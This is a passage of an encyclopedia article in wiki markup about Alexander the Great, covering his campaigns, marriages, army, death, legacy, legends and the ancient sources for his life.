The next year, ([[335 BC]]), Alexander felt free to engage the [[Thracians]] and the [[Illyria]]ns in order to secure the [[Danube]] as the northern boundary of the Macedonian kingdom. While he was triumphantly campaigning north, the Thebans and Athenians rebelled once again. Alexander reacted immediately and while the other cities once again hesitated, Thebes decided this time to resist with the utmost vigor. The resistance was useless; in the end, the city was conquered with great bloodshed. The Thebans encountered an ever harsher fate when their city was razed to the ground and its territory divided between the other Boeotian cities. Moreover, all of the city's citizens were sold into slavery, sparing only the priests, the leaders of the pro-Macedonian party and the descendants of [[Pindar]], whose house was the only one left untouched. The end of Thebes cowed Athens into submission and it readily accepted Alexander's demand for the exile of all the leaders of the anti-Macedonian party, [[Demosthenes]] first of all.

==Period of conquests==
[[Image:Map-alexander-empire.png|thumb|440px|Map of Alexander's empire.]]

===The fall of the Persian Empire===
Alexander's army had crossed the [[Hellespont]] with about 42,000 soldiers primarily Macedonians{{rf|2|MvsG2}} and Greeks, but also including some Thracians, [[Paionia]]ns and Illyrians. After an initial victory against Persian forces at the [[Battle of the Granicus|Battle of Granicus]], Alexander accepted the surrender of the Persian provincial capital and treasury of [[Sardis]] and proceeded down the [[Ionia|Ionian]] coast. At [[Halicarnassus]], Alexander successfully waged the first of many [[siege]]s, eventually forcing his opponents, the mercenary captain [[Memnon of Rhodes]] and the Persian [[satrap]] of [[Caria]], [[Orontobates]], to withdraw by sea. Alexander left Caria in the hands of [[Ada of Caria|Ada]], who was ruler of Caria before being deposed by her brother [[Pixodarus of Caria|Pixodarus]]. From Halicarnassus, Alexander proceeded into mountainous [[Lycia]] and the [[Pamphylia]]n plain, asserting control over all coastal cities and denying them to his enemy. From Pamphylia onward, the coast held no major ports and so Alexander moved inland. At [[Termessus]], Alexander humbled but did not storm the [[Pisidia]]n city. At the ancient Phrygian capital of [[Gordium]], Alexander &quot;undid&quot; the tangled [[Gordian Knot|Gordian knot]], a feat said to await the future &quot;king of [[Asia]].&quot; According to the most vivid story, Alexander proclaimed that it did not matter how the knot was undone, and he hacked it apart with his sword. Another version claims that he did not use the sword, but actually figured out how to undo the knot.

[[Image:AlexMos.jpg|thumb|350px|Alexander battling Darius at the [[Battle of Issus]], Pompei mosaic.]]

Alexander's army crossed the [[Cilician Gates]], met and defeated the main Persian army under the command of Darius III at the [[Battle of Issus]] in [[333 BC]]. Darius fled this battle in such a panic for his life that he left behind his wife, his children, his mother, and much of his personal treasure. [[Sisygambis]], the queen mother, never forgave Darius for abandoning her. She disowned him and adopted Alexander as her son instead. Proceeding down the [[Mediterranean]] coast, he took [[Tyre]] and [[Gaza]] after famous sieges (see [[Siege of Tyre]]). Alexander passed near but probably did not visit [[Jerusalem]].

In [[332 BC]] - [[331 BC]], Alexander was welcomed as a liberator in [[History of Greek and Roman Egypt|Egypt]] and was pronounced the son of Zeus by Egyptian priests of the god Ammon at the Oracle of the god at the [[Siwa Oasis]] in the [[Libya]]n desert. He founded [[Alexandria]] in Egypt, which would become the prosperous capital of the [[Ptolemaic]] dynasty after his death. Leaving Egypt, Alexander marched eastward into [[Assyria]] (now northern [[Iraq]]) and defeated Darius and a third Persian army at the [[Battle of Gaugamela]]. Darius was forced to flee the field after his charioteer was killed, and Alexander chased him as far as [[Arbela]]. While Darius fled over the mountains to [[Ecbatana]] (modern [[Hamadan]]), Alexander marched to [[Babylon]]. 

[[Image:UrumqiSoldier.jpg|thumb|180px|Statuette of a Greek soldier, from a 4th - 3rd century BC burial site north of the [[Tian Shan]], at the maximum extent of Alexander's advance in the East ([[Ürümqi]], [[Xinjiang]] Museum, [[China]]) (drawing).]]

From Babylon, Alexander went to [[Susa]], one of the [[Achaemenid]] capitals, and captured its treasury. Sending the bulk of his army to [[Persepolis]], the Persian capital, by the [[Royal Road]], Alexander stormed and captured the Persian Gates (in the modern [[Zagros Mountains]]), then sprinted for [[Persepolis]] before its treasury could be looted. Alexander allowed the League forces to loot Persepolis. A fire broke out in the eastern palace of [[Xerxes]] and spread to the rest of the city. It was not known if it was a drunken accident or a deliberate act of revenge for the burning of the [[Athenian Acropolis]] during the [[Greco-Persian Wars|Second Persian War]]. The ''Book of Arda Wiraz'', a Zoroastrian work composed in the 3rd or 4th century AD, also speaks of archives containing &quot;all the [[Avesta]] and Zand, written upon prepared cow-skins, and with gold ink&quot; that were destroyed; but it must be said that this statement is often treated by scholars with a certain measure of skepticism, because it is generally thought that for many centuries the Avesta was transmitted mainly orally by the [[Magians]].    

He then set off in pursuit of Darius, who was kidnapped, and then murdered by followers of [[Bessus]], his [[Bactria]]n satrap and kinsman. Bessus then declared himself Darius' successor as Artaxerxes V and retreated into [[Central Asia]] to launch a [[guerrilla warfare|guerrilla]] campaign against Alexander. With the death of Darius, Alexander declared the war of vengeance over, and released his Greek and other allies from service in the League campaign (although he allowed those that wished to re-enlist as [[mercenaries]] in his imperial army). 

His three-year campaign against first Bessus and then the satrap of [[Sogdiana]], [[Spitamenes]], took him through [[Medes|Media]], [[Parthia]], [[Aria (place)|Aria]], [[Drangiana]], [[Arachosia]], [[Bactria]], and [[Scythia]]. In the process, he captured and refounded [[Herat]] and [[Samarkand|Maracanda]]. Moreover, he founded a series of new cities, all called Alexandria, including modern [[Kandahar]] in [[Afghanistan]], and [[Alexandria Eschate]] (&quot;The Furthest&quot;) in modern [[Tajikistan]]. In the end, both were betrayed by their men, Bessus in [[329 BC]] and Spitamenes the year after.

====Hostility toward Alexander====
During this time, Alexander adopted some elements of Persian dress and customs at his court, notably the custom of ''[[proskynesis]]'', a symbolic kissing of the hand that Persians paid to their social superiors, but a practice of which the Greeks disapproved. The Greeks regarded the gesture as the preserve of [[deities]] and believed that Alexander meant to deify himself by requiring it. This cost him much in the sympathies of many of his countrymen. Here, too, a plot against his life was revealed, and his [[Companion cavalry|companion]] [[Philotas]] was executed for treason for failing to bring the plot to his attention. [[Parmenion]], Philotas' father, who was at the head of an army at [[Ecbatana]], was assassinated by command of Alexander, who feared that Parmenion might attempt to avenge his son. Several other trials for treason followed, and many Macedonians were executed. Later on, in a drunken quarrel at [[Maracanda]], he also killed the man who had saved his life at Granicus, [[Clitus the Black]]. Later in the Central Asian campaign, a second plot against his life, this one by his own [[page (servant)|pages]], was revealed, and his official historian, [[Callisthenes]] of [[Olynthus]] (who had fallen out of favor with the king by leading the opposition to his attempt to introduce ''proskynesis''), was implicated on what many historians regard as trumped-up charges. However, the evidence is strong that Callisthenes, the teacher of the pages, must have been the one who persuaded them to assassinate the king.

===The invasion of India===
[[Image:AlexPorusCoin.JPG|thumb|300px|Coin commemorating Alexander's campaigns in India, struck in [[Babylon]] around [[323 BC]].&lt;br/&gt;
'''Obv:''' Alexander standing, being crowned by [[Nike (mythology)|Nike]], fully armed and holding [[Zeus]]' [[thunderbolt]].&lt;br/&gt;
'''Rev:''' Greek rider, possibly Alexander, attacking an Indian battle-elephant, possibly fleeing [[Porus]].]]

With the death of Spitamenes and his marriage to [[Roxana]] (Roshanak in [[Bactrian language|Bactrian]]) to cement his relations with his new Central Asian satrapies, in [[326 BC]] Alexander was finally free to turn his attention to [[India]]. King [[Taxiles|Ambhi]], ruler of [[Taxila]], surrendered the city to Alexander. Many people had fled to a high fortress called [[Aornos]]. Alexander took Aornos by storm. Alexander fought an epic battle against [[Porus]], a ruler of a region in the [[Punjab region|Punjab]] in the [[Battle of Hydaspes]] in ([[326 BC]]). After attaining victory, Alexander made an alliance with Porus and appointed him as satrap of his own kingdom. Alexander then named one of the two new cities that he founded, Bucephala, in honor of his noble mount who had brought him to India. Alexander continued on to conquer all the headwaters of the [[Indus River]]. 

East of Porus' kingdom, near the [[Ganges River]], was the powerful empire of [[Magadha]] ruled by the [[Nanda dynasty]]. Fearing the prospects of facing another powerful Indian army and exhausted by years of campaigning, his army mutinied at the [[Beas River|Hyphasis]] (modern Beas), refusing to march further east. Alexander, after the meeting with his officer, [[Coenus]], was convinced that it was better to return. Alexander was forced to turn south, conquering his way down the Indus to the Indian Ocean. He sent much of his army to [[Carmania]] (modern southern [[Iran]]) with his general [[Craterus]], and commissioned a fleet to explore the [[Persian Gulf]] shore under his admiral [[Nearchus]], while he led the rest of his forces back to Persia by the southern route through the [[Gedrosia]] (present day [[Makran]] in southern [[Pakistan]]).

===After India===
[[Image:Le Brun, Alexander and Porus.jpg|thumb|350px|''Alexander and [[Porus]]'' by [[Charles Le Brun]], [[1673]].]]

Discovering that many of his satraps and military governors had misbehaved in his absence, Alexander executed a number of them as examples on his way to Susa. As a gesture of thanks, he paid off the debts of his soldiers, and announced that he would send those over-aged and disabled veterans back to Macedonia under Craterus, but his troops misunderstood his intention and mutinied at the town of [[Opis]], refusing to be sent away and bitterly criticizing his adoption of Persian customs and dress and the introduction of Persian officers and soldiers into Macedonian units. Alexander executed the ringleaders of the mutiny, but forgave the rank and file. In an attempt to craft a lasting harmony between his Macedonian and Persian subjects, he held a mass marriage of his senior officers to Persian and other noblewomen at Opis, but few of those marriages seem to have lasted much beyond a year.

His attempts to merge Persian culture with his Greek soldiers also included training a regiment of Persian boys in the ways of Macedonians. It is not certain that Alexander adopted the Persian royal title of ''[[shah|shahanshah]]'' (&quot;great king&quot; or 
&quot;king of kings&quot;). However, most historians believe that he did.

Alexander let it be known that he intended to launch a campaign against the tribes of Arabia. After they were subjugated, it was assumed that Alexander would turn westwards and attack [[Carthage]] and [[Italy]].

After traveling to Ecbatana to retrieve the bulk of the Persian treasure, his closest friend and possible lover [[Hephaestion]] died of an illness. Alexander was distraught and on his return to Babylon, he fell ill and died.

==Alexander's marriages and sexuality==
Alexander's greatest emotional attachment is generally considered to have been to his companion, cavalry commander (''chiliarchos'') and probable lover, [[Hephaestion]]. They had most likely been best friends since childhood for Hephaestion too received his education at the court of Alexander's father. Hephaestion makes his appearance in history at the point when Alexander reaches [[Troy]]. There the two friends made sacrifices at the shrines of the two heroes [[Achilles]] and [[Patroclus]]; Alexander honoring Achilles, and Hephaestion honoring Patroclus. As [[Claudius Aelianus|Aelian]] in his ''Varia Historia'' (12.7) claims, &quot;He thus intimated that he was the object of Alexander's love, as Patroclus was of Achilles.&quot;  Following Hephaestion's death, Alexander mourned him greatly, and did not eat for days.

Many have discussed Alexander's ambiguous sexuality. [[Quintus Curtius Rufus|Curtius]] reports that, &quot;He scorned [feminine] sensual pleasures to such an extent that his mother was anxious lest he be unable to beget offspring.&quot; To encourage a relationship with a woman, King Philip and Olympias brought in a high-priced [[Thessaly|Thessalian]] [[hetaira|courtesan]] named Callixena.

Later in life, Alexander married several princesses of former Persian territories, [[Roxana]] of [[Bactria]], [[Statira]], daughter of Darius III, and [[Parysatis]], daughter of [[Ochus]]. He fathered two children, ([[Heracles (Macedon)|Heracles]]), born by his concubine [[Barsine]] (the daughter of satrap [[Artabazus of Phrygia]]) in [[327 BC]], and [[Alexander IV of Macedon]], born by Roxana shortly after his death in [[323 BC]].

Curtius maintains that Alexander also took as a lover &quot;[[Bagoas (courtier)|Bagoas]], a [[eunuch]] exceptional in beauty and in the very flower of boyhood, with whom Darius was intimate and with whom Alexander would later be intimate,&quot; (VI.5.23). Bagoas is the only one who is actually named as the ''eromenos'' &amp;mdash; the beloved &amp;mdash; of Alexander. Their relationship seems to have been well known among the troops, as [[Plutarch]] recounts an episode (also mentioned by [[Dicaearchus]]) during some festivities on the way back from India) in which his men clamor for him to openly kiss the young man: &quot;Bagoas [...] sat down close by him, which so pleased the Macedonians, that they made loud acclamations for him to kiss Bagoas, and never stopped clapping their hands and shouting till Alexander put his arms round him and kissed him.&quot; At this point in time, the troops present were all survivors of the crossing of the desert. Bagoas must have endeared himself to them by his courage and fortitude during that harrowing episode.  Whatever Alexander's relationship with Bagoas, it was no impediment to relations with his queen: six months after Alexander's death Roxana gave birth to his son and heir, Alexander IV. Besides Bagoas, Curtius mentions yet another possible lover of Alexander, Euxenippus, &quot;whose youthful grace filled him with enthusiasm&quot; (VII.9.19).

Allegations concerning Alexander's sexuality remain highly controversial and excite passions in some quarters. People of various national, ethnic and cultural origins regard him as their hero. Some argue that historical accounts describing Alexander's love for Hephaestion and Bagoas as sexual were written centuries after the fact, and thus it can never be established what the historical relationship between Alexander and his male companions were. Others argue that the same can be said about much of our information regarding Alexander. Such debates, however, are generally considered anachronistic by scholars of the period, who point out that the concept of homosexuality as understood today did not exist in [[Greco-Roman]] [[classical antiquity|antiquity]].  Sexual attraction between males was seen as a normal and universal part of [[human nature]] since it was believed that men were attracted to [[beauty]], an attribute of the young, regardless of gender. If Alexander's love life was transgressive, it was not for his love of beautiful youths but for his probable involvement with a man his own age, in a time when the standard model of male love was [[pederasty|pederastic]]. See [[Pederasty in ancient Greece]] for more information.

==The army of Alexander the Great before the [[Battle of Gaugamela]]==
{{main|Ancient Macedonian military}}
The army of Alexander was, for the most part, that of his father Philip. It was composed of light and heavy troops and some engineers, medical and staff units. About one third of the army was composed of his Greek allies from the Hellenic League. 

===Infantry===
[[Image:Macedonian battle formation.gif|right|thumb|330px|Macedonian battle formation, courtesy of The Department of History, United States Military Academy.]]
The main infantry corps was the [[Macedonian phalanx|phalanx]], composed of six regiments (''taxies'') numbering about 2000 phalangites each. Each soldier had a long [[pike]] called a ''[[sarissa]]'', which was up to 21 feet long, and a short [[sword]]. For protection, the soldier wore a [[Phrygian cap|Phrygian-style]] [[helmet]] and a [[shield]]. [[Arrian]] mentions large shields (the ''[[aspis]]''), but this is disputed, as it is difficult to wield both a large pike and a large shield at the same time. Many modern historians claim the [[phalanx]] used a smaller shield, called a ''[[pelta]]'', the shield used by [[peltast]]s. It is unclear whether the phalanx used body armor, but heavy body armor is mentioned in Arrian (1.28.7) and other ancient sources. Modern historians believe most of the phalangites did not wear heavy body armor at the time of Alexander.

Another important unit were the [[hypaspist]]s (shield bearers), arranged into three battalions (''[[lochoi]]'') of 1000 men each. One of the battalions was named the ''[[Agema]]'' and served as the King's bodyguards. Their armament is unknown and it is difficult to get a clear picture from ancient sources. Sometimes hypaspists are mentioned in the front line of the battle just between the phalanx and the heavy [[cavalry]]. Moreover, they seem to have acted as an extension of the phalanx fighting as heavy infantry while keeping a link between the heavily clad phalangites and the companion cavalry. They also accompanied Alexander on flanking marches and were capable of fighting on rough terrain like light troops so it seems they could perform dual functions.

In addition to the units mentioned above, the army included some 6000 Greek allied and mercenary [[hoplite]]s, also arranged in phalanxes. They carried a shorter [[spear]], a ''[[dora]]'', which was six or seven feet long and a large ''aspis''. 

Alexander also had light infantry units composed of [[peltast]]s, [[psiloi]] and others. Peltasts are considered to be light infantry, although they had a helmet and a small shield and were heavier than the ''psiloi''. The best peltasts were the [[Agrianians]] from [[Thrace]].

===Cavalry===
The heavy cavalry included the [[Companion cavalry]] raised from the Macedonian nobility, and the Thessalian cavalry. The Companion cavalry (''hetairoi'', friends) was divided into eight squadrons called ''ile'', 200 strong, except the Royal Squadron of 300. They were equipped with a 12 foot lance, the ''xyston'', and heavy body armor. The horses were partially clad in armor as well. The riders did not carry shields, as the xyston required both hands to wield. The organization of the Thessalian cavalry was similar to the Companion Cavalry, but they had a shorter spear and fought in a looser formation.

Of light cavalry, the ''prodromoi'' (forerunners) secured the wings of the army during battle and went on [[reconnaissance]] missions. Several hundred allied horses rounded out the cavalry.

==Death==
[[Image:Alexander the great 1.jpg|thumb|left|Contemporary [[bust (sculpture)|bust]] of Alexander the Great.]]

On the afternoon of [[June 10]] - [[June 11|11]], [[323 BC]], Alexander died of a mysterious illness in the palace of [[Nebuchadrezzar II|Nebuchadrezzar II of Babylon]]. He was just one month shy of attaining 33 years of age. Various theories have been proposed for the cause of his death which include [[poisoning]] by the sons of [[Antipater]] or others, sickness that followed a drinking party, or a relapse of the [[malaria]] he had contracted in [[336 BC]].

What is certain is that on May 29, Alexander participated in a banquet organized by his friend [[Medius of Larissa]]. After some heavy drinking, immediately or after a bath, he was forced to bed badly ill. The troops started rumors, more and more anxious, and on June 9, the generals decided to let the soldiers see their king alive one last time. They were admitted to his presence one at a time, while the king, too ill to speak, confined himself to move his hand. The day after, Alexander was dead.  

The poisoning theory derives from the story held in antiquity by Justin and Curtius. The original story stated that [[Cassander]], son of [[Antipater]], viceroy of Greece, brought the poison to Alexander in Babylon in a mule's hoof, and that Alexander's royal cupbearer, [[Iollas]], brother of Cassander, administered it. Many had powerful motivations for seeing Alexander gone, and were none the worse for it after his death. Deadly agents that could have killed Alexander in one or more doses include hellebore and [[strychnine]].  In [[Robin Lane Fox|R. Lane Fox]]'s opinion, the strongest argument against the poison theory is the fact that twelve days had passed between the start of his illness and his death and in the ancient world, such long-acting poisons were probably not available (though this discounts the possibility of multiple doses). 

However, the warrior culture of Macedon favored the sword over strychnine, and many ancient historians, like [[Plutarch]] and [[Arrian]], maintained that Alexander was not poisoned, but died of natural causes.  Instead, it is likely that Alexander died of malaria or typhoid fever, which were rampant in ancient Babylon.  Other illnesses could have also been the culprit, including [[acute pancreatitis]] or the [[West Nile virus|West Nile]] virus. Recently, theories have been advanced stating that Alexander may have died from the treatment not the disease.  [[Hellebore]], believed to have been widely used as a medicine at the time but deadly in large doses, may have been overused by the impatient king to speed his recovery, with deadly results.  Disease-related theories often cite the fact that Alexander's health had fallen to dangerously low levels after years of heavy drinking and suffering several appalling wounds (including one in [[India]] that nearly claimed his life), and that it was only a matter of time before one sickness or another finally killed him.  

No story is conclusive. Alexander's death has been reinterpreted many times over the centuries, and each generation offers a new take on it. What is certain is that Alexander died of a high fever on June 10 or 11 of 323 BC. On his death bed, his marshals asked him to whom he bequeathed his kingdom. Since Alexander had only one heir, it was a question of vital importance. He answered famously, &quot;the strongest.&quot;  Before dying, his final words were &quot;I foresee a great funeral contest over me.&quot; Alexander's 'funeral games', where his marshals fought it out over control of his empire, lasted for nearly forty years.  

Alexander's death has been surrounded by as much controversy as many of the events of his life. Before long, accusations of foul play were being thrown about by his generals at one another, making it incredibly hard for a modern historian to sort out the propaganda and the half-truths from the actual events. No contemporary source can be fully trusted because of the incredible level of self-serving recording, and as a result what truly happened to Alexander the Great may never be known.

Alexander's body was placed in a gold anthropid [[sarcophagus]], which was in turn placed in a second gold casket and covered with a purple robe. Alexander's coffin was placed, together with his armor, in a gold carriage which had a vaulted roof supported by an Ionic peristyle. The decoration of the carriage was very rich and is described in great detail by Diodoros. 

According to legend, Alexander was preserved in a clay vessel full of [[honey]] (which acts as a preservative) and interred in a glass [[coffin]]. According to Aelian (''Varia Historia'' 12.64), [[Ptolemy I Soter|Ptolemy]] stole the body and brought it to [[Alexandria]], where it was on display until Late Antiquity. It was here that [[Ptolemy IX of Egypt|Ptolemy IX]], one of the last successors of Ptolemy I, replaced Alexander's sarcophagus with a glass one, and melted the original down in order to strike emergency gold issues of his coinage. The citizens of Alexandria were outraged at this and soon after Ptolemy IX was killed. Its current whereabouts are unknown.

The so-called &quot;Alexander Sarcophagus,&quot; discovered near [[Sidon]] and now in the [[Istanbul Archaeological Museum]], is now generally thought to be that of [[Abdylonymus]], whom Hephaestion appointed as the king of Sidon by Alexander's order. The sarcophagus depicts Alexander and his companions hunting and in battle with the Persians.

==Legacy and division of the empire==
{{main|Diadochi}}
[[Image:Alexander Aramaic coin.jpg|thumb|left|200px|Coin of Alexander bearing an [[Aramaic language]] inscription.]]
After Alexander's death, his empire was divided among his officers, mostly with the pretense of first preserving a united kingdom. Later, his officers were focused on the explicit formation of rival monarchies and territorial states. 

Ultimately, the conflict was settled after the [[Battle of Ipsus]] in [[Phrygia]] in [[301 BC]]. Alexander's empire was divided at first into four major portions: Cassander ruled in [[Macedon]], [[Lysimachus]] in [[Thrace]], [[Seleucus I Nicator|Seleucus]] in [[Mesopotamia]] and [[Iran]], and [[Ptolemy I Soter|Ptolemy]] in the [[Levant]] and [[Egypt]]. [[Antigonus I Monophthalmus|Antigonus]] ruled for a while in [[Asia Minor]] and [[Syria]] but was eventually defeated by the other generals at Ipsus ([[301 BC]]). Control over [[India]]n territory was short-lived when Seleucus was defeated by [[Chandragupta Maurya]], the first [[Mauryan]] emperor.

By [[270 BC]], [[Hellenistic]] states consolidated, with:
:*The [[Antigonid dynasty|Antigonid Empire]] centered on Macedon.
:*The [[Seleucid Empire]] in Asia
:*The [[Ptolemaic dynasty|Ptolemaic kingdom]] in Egypt, Palestine and [[Cyrenaica]] 

By the [[1st century BC]] though, most of the Hellenistic territories in the West had been absorbed by the [[Roman Republic]]. In the East, they had been dramatically reduced by the expansion of the [[Parthian Empire]] and the secession of the [[Greco-Bactrian]] kingdom.

Alexander's conquests also had long term [[cultural]] effects, with the flourishing of [[Hellenistic civilization]] throughout the [[Middle-East]] and [[Central Asia]], and the development of [[Greco-Buddhist art]] in the [[Indian subcontinent]].
===Influence on [[Ancient Rome]]===
[[Image:Mosaica.jpg|thumb|200px|A mural in [[Pompeii]], depicting the marriage of Alexander to Barsine (Stateira) in 324 BC. The couple are apparently dressed as Ares and Aphrodite.]]
Alexander and his exploits were admired by many Romans who wanted to associate themselves with his achievements, although very little is known about Roman-Macedonian diplomatic relations of that time. [[Julius Caesar]] wept in Spain at the mere sight of Alexander's statue and [[Pompey the Great]] rummaged through the closets of conquered nations for Alexander's 260-year-old cloak, which the Roman general then wore as the costume of greatness. However in his zeal to honor Alexander, [[Octavian Augustus]] accidentally broke the nose off the Macedonian's mummified corpse while laying a wreath at the hero's shrine in Alexandria, Egypt. The unbalanced emperor [[Caligula]] later took the dead king's armor from that tomb and donned it
for luck. The Macriani, a Roman family that rose to the imperial throne in the [[3rd century]] A.D., always kept images of Alexander on their persons, either stamped into their bracelets and rings or stitched into their garments. Even their dinnerware bore Alexander's face, with the story of the king's life displayed around the rims of special bowls[[#Notes|&amp;sup1;]].

In the summer of [[1995]] during the archaeological work of the season centered on excavating the remains of domestic architecture of early-Roman date a statue of Alexander was recovered from the structure, which was richly decorated with mosaic and marble pavements and probably was constructed in the 1st century A.D. and occupied until the 3rd century[[#Notes|&amp;sup2;]].
====Notes====
&lt;small&gt;1- Frank L. Holt. Alexander the Great and the Mystery of the Elephant
Medallions. University of California Press. 

&lt;small&gt;2- [http://www.egyptology.com/kmt/fall96/nile.html Salima Ikram. Nile Currents]

==General timeline==
{{atg-timeline}}

==Alexander's character==
{{npov-section}}

[[Image:Ac alexanderstatue.jpg|thumb|250px|Equestrian statue of [[Alexander the Great]], on the waterfront at [[Thessaloniki]], capital of [[Greek Macedonia]].]]

Modern opinion on Alexander has run the gamut from the idea that he believed he was on a divinely-inspired mission to unite the [[human race]], to the view that he was a [[Narcissism|megalomaniac]] bent on [[Global domination|world domination]]. Such views tend to be [[Anachronism|anachronistic]], however, and the sources allow for a variety of interpretations. Much about Alexander's personality and aims remains enigmatic.

Alexander is remembered as a legendary hero in [[Europe]] and much of both [[Southwest Asia]] and [[Central Asia]], where he is known as '''Iskander''' or '''Iskandar Zulkarnain'''. To [[Zoroastrians]], on the other hand, he is remembered as the destroyer of their first great empire and as the leveller of [[Persepolis]]. Ancient sources are generally written with an agenda of either glorifying or denigrating the man, making it difficult to evaluate his actual character. Most refer to a growing instability and megalomania in the years following Gaugamela, but it has been suggested that this simply reflects the Greek [[stereotype]] of an orientalizing king. The murder of his friend [[Clitus the Black|Clitus]], which Alexander deeply and immediately regretted, is often cited as a sign of his paranoia, as is his execution of Philotas and his general Parmenion for failure to pass along details of a plot against him. However, this may have been more prudence than paranoia.

Modern Alexandrists continue to debate these same issues, among others, in modern times. One unresolved topic involves whether Alexander was actually attempting to better the world by his conquests, or whether his purpose was primarily to rule the world.

Partially in response to the ubiquity of positive portrayals of Alexander, an alternate character is sometimes presented which emphasizes some of Alexander's negative aspects. Some proponents of this view cite the destructions of [[Thebes, Greece|Thebes]], [[Tyre]], [[Persepolis]], and [[Gaza]] as examples of atrocities, and argue that Alexander preferred to fight rather than negotiate. It is further claimed, in response to the view that Alexander was generally tolerant of the cultures of those whom he conquered, that his attempts at cultural fusion were severely practical and that he never actually admired Persian art or culture. To this way of thinking, Alexander was, first and foremost, a general rather than a statesman.

Alexander's character also suffers from the interpretation of historians who themselves are subject to the bias and idealisms of their own time. Good examples are [[W. W. Tarn]], who wrote during the late [[19th century]] and early [[20th century]], and who saw Alexander in an extremely good light, and [[Peter Green (historian)|Peter Green]], who wrote after [[World War II]] and for whom Alexander did little that was not inherently selfish or ambition-driven. Tarn wrote in an age where world conquest and warrior-heroes were acceptable, even encouraged, whereas Green wrote with the backdrop of [[the Holocaust]] and [[nuclear weapon]]s. As a result, Alexander's character is skewed depending on which way the historian's own culture is, and further muddles the debate of who he truly was.

===Stories and legends===
According to one story, the philosopher [[Anaxarchus]] checked the vainglory of Alexander, when he aspired to the honors of divinity, by pointing to Alexander's wound, saying, &quot;See the blood of a mortal, not the [[ichor]] of a god.&quot; In another version, Alexander himself pointed out the difference in response to a [[sycophant]]ic soldier. A strong oral tradition, although not attested in any extant primary source, lists Alexander as having [[epilepsy]], known to the Greeks as the Sacred Disease and thought to be a mark of divine favor.

Alexander had a legendary horse named [[Bucephalus]] (meaning &quot;ox-headed&quot;), supposedly descended from the [[Mares of Diomedes]]. Alexander himself, while still a young boy, tamed this horse after experienced horse-trainers failed to do so.

There is an apocryphal tale, appearing in a redaction of the pseudo-historical [[Alexander Romance]], which details another end for the last true Pharaoh of Egypt. Soon after Alexander's divinity was confirmed by the Oracle of Zeus Ammon, a rumor was begun that [[Nectanebo II]] did not travel to [[Nubia]] but instead to the court of Philip II of Macedon in the guise of an Egyptian magician. He coupled with Phillip's wife [[Olympias]] and from his issue came Alexander. This myth would hold strong appeal for Egyptians who desired continuity in rule and harbored a strong dislike for foreign rule.

Another legend tells of Alexander's campaign down into the Syrian world toward Egypt. On the way, he planned to lay siege to the city of [[Jerusalem]]. As the victorious armies of the Greeks approached the city, word was brought to the Jews in Jerusalem that the armies were on their way. The high priest at that time, who was a godly old man by the name of Jaddua (mentioned also in the [[Bible]] [[book of Nehemiah]]) took the sacred writings of [[Daniel the prophet]] and, accompanied by a host of other priests dressed in white garments, went forth and met Alexander some distance outside the city.

All this is from the report of [[Josephus]], the Jewish historian, who tells us that Alexander left his army and hurried to meet this body of priests. When he met them, he told the high priest that he had had a vision the night before in which God had shown him an old man, robed in a white garment, who would show him something of great significance to himself, according to the account, the high priest then opened the prophecies of Daniel and read them to Alexander.

In the prophecies Alexander was able to see the predictions that he would become that notable goat with the horn in his forehead, who would come from the West and smash the power of Persia and conquer the world. He was so overwhelmed by the accuracy of this prophecy and, of course, by the fact that it spoke about him, that he promised that he would save Jerusalem from siege, and sent the high priest back with honors.

==Ancient sources==
The ancient sources for Alexander's life are, from the perspective of ancient history, relatively numerous. Alexander himself left only a few inscriptions and some letter-fragments of dubious authenticity, but a large number of his contemporaries wrote full accounts. The key contemporary historians are considered [[Callisthenes]], his general [[Ptolemy I Soter|Ptolemy]], [[Aristobulus of Cassandreia|Aristobulus]], [[Nearchus]] and [[Onesicritus]]. Another influential account was penned by [[Cleitarchus]], who, while not a direct witness of Alexander's expedition, used the sources which had just been published. His work was to be the backbone of that of [[Timagenes]], who heavily influenced many surviving historians. Unfortunately, all these works were lost. Instead, the modern historian must rely on authors who used these and other early sources. 

The five main accounts are by Arrian, Curtius, Plutarch, Diodorus, and Justin.
* ''[[Anabasis Alexandri]]'' (''The Campaigns of Alexander'' in Greek) by the Greek historian [[Arrian]] of [[Nicomedia]], writing in the [[2nd century AD]], and based largely on Ptolemy and, to a lesser extent, Aristobulus and Nearchus. It is considered generally the most trustworthy source.
* ''Historiae Alexandri Magni'', a biography of Alexander in ten books, of which the last eight survive, by the Roman historian [[Quintus Curtius Rufus]], written in the [[1st century AD]], and based largely on Cleitarchus through the mediation of Timagenes, with some material probably from Ptolemy;
* ''Life of Alexander'' (see ''[[Parallel Lives]]'') and two orations ''On the Fortune or the Virtue of Alexander the Great'' (see ''[[Moralia]]''), by the Greek historian and biographer [[Plutarch]] of [[Chaeronea]] in the second century, based largely on Aristobulus and especially Cleitarchus.
* ''Bibliotheca historia'' (''Library of world history''), written in Greek by the [[Sicilian]] historian [[Diodorus Siculus]], from which Book 17 relates the conquests of Alexander, based almost entirely on Timagenes's work. The books immediately before and after, on Philip and Alexander's &quot;Successors,&quot; throw light on Alexander's reign.
* The ''Epitome of the Philippic History of Pompeius Trogus'' by [[Junianus Justinus|Justin]], which contains factual errors and is highly compressed. It is difficult in this case to understand the source, since we only have an epitome, but it is thought that also [[Gnaeus Pompeius Trogus|Pompeius Trogus]] may have limited himself to use Timagenes for his Latin history. To these five main sources some like to add the ''[[Metz Epitome]]'', an anonymous late Latin work that narrates Alexander's campaigns from [[Hyrcania]] to India. Much is also recounted incidentally in other authors, including [[Strabo]], [[Athenaeus]], [[Polyaenus]], [[Claudius Aelianus|Aelian]], and others.

The &quot;problem of the sources&quot; is the main concern (and chief delight) of Alexander-historians. In effect, each presents a different &quot;Alexander,&quot; with details to suit. Arrian is mostly interested in the military aspects, while Curtius veers to a more private and darker Alexander. Plutarch can't resist a good story, light or dark. All, with the possible exception of Arrian, include a considerable level of fantasy, prompting Strabo to remark, &quot;All who wrote about Alexander preferred the marvellous to the true.&quot; Nevertheless, the sources tell us much, and leave much to our interpretation and imagination.

==Alexander's legend==
Alexander was a legend in his own time. His court historian Callisthenes portrayed the sea in [[Cilicia]] as drawing back from him in [[proskynesis]]. Writing after Alexander's death, another participant, [[Onesicritus]], went so far as to invent a [[tryst]] between Alexander and [[Thalestris]], queen of the mythical [[Amazons]]. When Onesicritus read this passage to his patron, Alexander's general and later King [[Lysimachus]], Lysimachus reportedly quipped &quot;I wonder where I was at the time.&quot; 

